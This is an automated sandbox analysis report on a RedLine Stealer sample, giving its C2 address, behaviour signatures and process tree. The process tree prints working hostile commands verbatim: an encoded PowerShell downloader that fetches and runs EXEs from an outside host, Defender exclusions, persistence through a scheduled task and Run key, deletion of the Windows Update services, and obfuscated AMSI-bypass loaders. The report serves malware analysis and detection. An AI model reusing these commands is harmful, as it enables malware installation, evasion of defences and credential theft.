Analysis

  • max time kernel
    62s
  • max time network
    77s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/01/2023, 13:22

General

  • Target
    1d678410484e34165adb652f7e86a2b5cae5f58d.exe
  • Size 361KB
  • Sample230128-qmmddafa32
  • SHA256 34efda61716ff1db7297813317e194d4eaa74ae5209810ef6045aabab2af3179
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • redline

Botnet
  • 1

C2
  • 107.182.129.73:21733

Attributes
  • auth_value

    3a5bb0917495b4312d052a0b8977d2bb

Signatures

  • Modifies security service 2 TTPs 5 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Stops running service(s) 3 TTPs
  • Uses the VBS compiler for execution 1 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 51 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:588
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{bd32b677-0689-4faa-a17e-77a5aa87a36a}
        2⤵
          PID:972
      • C:\Windows\Explorer.EXE
        C:\Windows\Explorer.EXE
        1⤵
          PID:2220
          • C:\Users\Admin\AppData\Local\Temp\1d678410484e34165adb652f7e86a2b5cae5f58d.exe
            "C:\Users\Admin\AppData\Local\Temp\1d678410484e34165adb652f7e86a2b5cae5f58d.exe"
            2⤵
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:3444
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2512
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
                4⤵
                • Blocklisted process makes network request
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:480
                • C:\Users\Admin\AppData\Local\Temp\new2.exe
                  "C:\Users\Admin\AppData\Local\Temp\new2.exe"
                  5⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of WriteProcessMemory
                  PID:400
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                    6⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2876
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 400 -s 156
                    6⤵
                    • Program crash
                    PID:4308
                • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                  "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
                  5⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2520
                • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                  "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
                  5⤵
                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                  • Drops file in Drivers directory
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Drops file in Program Files directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:3648
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3444 -s 260
              3⤵
              • Program crash
              PID:5076
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1388
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1144
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2276
            • C:\Windows\System32\sc.exe
              sc stop UsoSvc
              3⤵
              • Launches sc.exe
              PID:4124
            • C:\Windows\System32\sc.exe
              sc stop WaaSMedicSvc
              3⤵
              • Launches sc.exe
              PID:3956
            • C:\Windows\System32\sc.exe
              sc stop wuauserv
              3⤵
              • Launches sc.exe
              PID:2720
            • C:\Windows\System32\sc.exe
              sc stop bits
              3⤵
              • Launches sc.exe
              PID:3952
            • C:\Windows\System32\sc.exe
              sc stop dosvc
              3⤵
              • Launches sc.exe
              PID:3656
            • C:\Windows\System32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
              3⤵
                PID:5008
              • C:\Windows\System32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                3⤵
                  PID:3824
                • C:\Windows\System32\reg.exe
                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                  3⤵
                  • Modifies security service
                  PID:804
                • C:\Windows\System32\reg.exe
                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                  3⤵
                    PID:996
                  • C:\Windows\System32\reg.exe
                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                    3⤵
                      PID:836
                  • C:\Windows\System32\dialer.exe
                    C:\Windows\System32\dialer.exe
                    2⤵
                      PID:3452
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 3444 -ip 3444
                    1⤵
                      PID:3188
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 400 -ip 400
                      1⤵
                        PID:1288
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
                        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:eGfRXFYuCqIh{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$NglzAaRcJLwnYy,[Parameter(Position=1)][Type]$yNxVbUuMMy)$aqYLtFLHtOM=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+'cte'+[Char](100)+'Dele'+'g'+'a'+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+'M'+''+'e'+''+[Char](109)+'o'+[Char](114)+'yM'+[Char](111)+'d'+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+'t'+''+[Char](101)+''+[Char](84)+'y'+'p'+''+[Char](101)+'','Cla'+[Char](115)+''+'s'+''+[Char](44)+''+'P'+''+'u'+''+'b'+'l'+[Char](105)+''+[Char](99)+','+[Char](83)+''+'e'+''+[Char](97)+''+[Char](108)+'e'+'d'+',A'+[Char](110)+''+'s'+'i'+'C'+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+',A'+'u'+''+'t'+''+[Char](111)+''+[Char](67)+''+'l'+'as'+[Char](115)+'',[MulticastDelegate]);$aqYLtFLHtOM.DefineConstructor(''+'R'+'T'+'S'+''+'p'+''+[Char](101)+'c'+'i'+'a'+[Char](108)+'N'+'a'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'H'+''+[Char](105)+'d'+[Char](101)+'ByS'+[Char](105)+''+[Char](103)+''+[Char](44)+''+'P'+''+'u'+''+'b'+''+[Char](108)+''+'i'+'c',[Reflection.CallingConventions]::Standard,$NglzAaRcJLwnYy).SetImplementationFlags(''+'R'+'u'+[Char](110)+'t'+'i'+''+'m'+''+'e'+''+[Char](44)+''+'M'+''+[Char](97)+'n'+'a'+'ged');$aqYLtFLHtOM.DefineMethod(''+'I'+'n'+'v'+'ok'+[Char](101)+'',''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+'ic'+[Char](44)+''+'H'+''+'i'+''+[Char](100)+'e'+'B'+''+[Char](121)+''+[Char](83)+''+'i'+'g'+[Char](44)+''+'N'+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+'l'+''+[Char](111)+'t'+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+''+'a'+'l',$yNxVbUuMMy,$NglzAaRcJLwnYy).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+','+[Char](77)+'a'+'n'+'a'+'g'+''+[Char](101)+'d');Write-Output $aqYLtFLHtOM.CreateType();}$TdbAGGncEzgnd=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+'t'+''+[Char](101)+''+'m'+''+'.'+''+[Char](100)+''+'l'+''+'l'+'')}).GetType('M'+'i'+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+'s'+'of'+[Char](116)+''+[Char](46)+''+'W'+'i'+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'U'+''+[Char](110)+'s'+[Char](97)+'f'+[Char](101)+'T'+[Char](100)+'bA'+[Char](71)+''+[Char](71)+''+'n'+''+[Char](99)+''+[Char](69)+'z'+'g'+'n'+[Char](100)+'');$zcnsrBAsEhxioW=$TdbAGGncEzgnd.GetMethod(''+'z'+''+[Char](99)+'n'+[Char](115)+''+[Char](114)+''+[Char](66)+'AsEh'+[Char](120)+'i'+[Char](111)+''+[Char](87)+'',[Reflection.BindingFlags]'P'+[Char](117)+''+'b'+''+[Char](108)+'ic'+','+''+'S'+'t'+[Char](97)+''+'t'+'ic',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ONJpqxCDjyzQDMnQfaY=eGfRXFYuCqIh @([String])([IntPtr]);$kCorSaLRJNIuugAgBGvquv=eGfRXFYuCqIh @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$zCEyniwwAaV=$TdbAGGncEzgnd.GetMethod('G'+[Char](101)+'t'+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+'le'+[Char](72)+''+[Char](97)+'n'+[Char](100)+''+'l'+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+'l'+'3'+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$MqDkRyeBkapmtF=$zcnsrBAsEhxioW.Invoke($Null,@([Object]$zCEyniwwAaV,[Object](''+[Char](76)+'oadL'+[Char](105)+'b'+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$sMcTHLoTylaCITDkI=$zcnsrBAsEhxioW.Invoke($Null,@([Object]$zCEyniwwAaV,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+'a'+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+''+'e'+'c'+[Char](116)+'')));$NOrZDUV=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MqDkRyeBkapmtF,$ONJpqxCDjyzQDMnQfaY).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+'i'+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'');$gLjYajPmkAsmpqFVY=$zcnsrBAsEhxioW.Invoke($Null,@([Object]$NOrZDUV,[Object]('A'+[Char](109)+''+'s'+'iS'+'c'+'a'+'n'+''+[Char](66)+''+[Char](117)+''+'f'+''+[Char](102)+''+'e'+''+[Char](114)+'')));$ieVwClmBdo=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sMcTHLoTylaCITDkI,$kCorSaLRJNIuugAgBGvquv).Invoke($gLjYajPmkAsmpqFVY,[uint32]8,4,[ref]$ieVwClmBdo);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$gLjYajPmkAsmpqFVY,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sMcTHLoTylaCITDkI,$kCorSaLRJNIuugAgBGvquv).Invoke($gLjYajPmkAsmpqFVY,[uint32]8,0x20,[ref]$ieVwClmBdo);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SO'+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'d'+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](101)+''+'r'+'st'+[Char](97)+''+'g'+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
                        1⤵
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        PID:380
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:BbruFxMGdrTA{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ymIRJEyfUWIqBs,[Parameter(Position=1)][Type]$lhwYmLQiIq)$NvqDrGdkKBJ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+'l'+'ect'+[Char](101)+''+[Char](100)+'De'+'l'+''+'e'+''+[Char](103)+'a'+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+'m'+[Char](111)+''+'r'+''+'y'+'M'+[Char](111)+'du'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+'D'+''+'e'+''+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+''+[Char](84)+''+[Char](121)+''+[Char](112)+'e',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+','+'P'+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+'e'+'a'+''+[Char](108)+'ed'+[Char](44)+''+'A'+''+'n'+''+[Char](115)+''+[Char](105)+''+'C'+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'Au'+[Char](116)+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$NvqDrGdkKBJ.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+'e'+''+[Char](99)+''+[Char](105)+''+'a'+''+[Char](108)+'Na'+'m'+'e'+[Char](44)+''+[Char](72)+''+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+'y'+''+'S'+'i'+'g'+''+[Char](44)+''+[Char](80)+'u'+'b'+'l'+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$ymIRJEyfUWIqBs).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+'M'+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');$NvqDrGdkKBJ.DefineMethod('I'+'n'+''+[Char](118)+''+[Char](111)+'k'+[Char](101)+'',''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'H'+''+'i'+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+'i'+'g'+','+''+[Char](78)+''+[Char](101)+''+'w'+'Sl'+'o'+''+[Char](116)+','+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+'a'+''+[Char](108)+'',$lhwYmLQiIq,$ymIRJEyfUWIqBs).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'t'+'i'+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $NvqDrGdkKBJ.CreateType();}$hRmyIHdJVEfAP=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType('Mi'+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+'i'+[Char](110)+'32.'+[Char](85)+'ns'+[Char](97)+''+[Char](102)+''+[Char](101)+'h'+'R'+'m'+[Char](121)+''+[Char](73)+''+'H'+''+'d'+''+'J'+''+[Char](86)+'E'+[Char](102)+''+'A'+''+[Char](80)+'');$FkBpcKdpCpiXEV=$hRmyIHdJVEfAP.GetMethod('F'+[Char](107)+''+[Char](66)+''+[Char](112)+''+[Char](99)+'Kd'+[Char](112)+'C'+'p'+'iXE'+[Char](86)+'',[Reflection.BindingFlags]''+'P'+''+[Char](117)+'b'+'l'+'i'+[Char](99)+''+[Char](44)+'S'+[Char](116)+''+[Char](97)+'t'+[Char](105)+''+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$vIxFMEFIJYVtKVrLNlQ=BbruFxMGdrTA @([String])([IntPtr]);$VSFqwHKHdfSDdJWOEtnvUJ=BbruFxMGdrTA @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$LrQKxrefPHB=$hRmyIHdJVEfAP.GetMethod('G'+'e'+'t'+[Char](77)+'o'+[Char](100)+''+'u'+''+[Char](108)+''+'e'+''+'H'+'a'+'n'+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+'n'+'e'+''+'l'+''+[Char](51)+''+'2'+''+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'')));$snXPKmHAQKBryJ=$FkBpcKdpCpiXEV.Invoke($Null,@([Object]$LrQKxrefPHB,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+'r'+''+[Char](97)+''+[Char](114)+'y'+[Char](65)+'')));$PkeuUhznZfXBtjyTP=$FkBpcKdpCpiXEV.Invoke($Null,@([Object]$LrQKxrefPHB,[Object](''+[Char](86)+''+'i'+''+[Char](114)+'t'+'u'+''+[Char](97)+''+[Char](108)+'Pr'+'o'+''+[Char](116)+''+'e'+''+'c'+''+[Char](116)+'')));$dawoiBE=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($snXPKmHAQKBryJ,$vIxFMEFIJYVtKVrLNlQ).Invoke(''+[Char](97)+''+[Char](109)+'si'+'.'+''+[Char](100)+'ll');$fjnBhmidgXPkRpJQJ=$FkBpcKdpCpiXEV.Invoke($Null,@([Object]$dawoiBE,[Object]('A'+[Char](109)+''+'s'+'i'+[Char](83)+''+'c'+'anB'+'u'+''+'f'+'f'+[Char](101)+''+'r'+'')));$JOdCaEqXNU=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PkeuUhznZfXBtjyTP,$VSFqwHKHdfSDdJWOEtnvUJ).Invoke($fjnBhmidgXPkRpJQJ,[uint32]8,4,[ref]$JOdCaEqXNU);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$fjnBhmidgXPkRpJQJ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PkeuUhznZfXBtjyTP,$VSFqwHKHdfSDdJWOEtnvUJ).Invoke($fjnBhmidgXPkRpJQJ,[uint32]8,0x20,[ref]$JOdCaEqXNU);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+'F'+''+[Char](84)+''+'W'+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue('di'+'a'+'l'+[Char](101)+'r'+[Char](115)+''+'t'+'a'+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
                        1⤵
                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                        • Suspicious use of SetThreadContext
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of WriteProcessMemory
                        PID:720

                      Network

                            MITRE ATT&CK Enterprise v6

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                            Downloads

                            powershell.exe.log

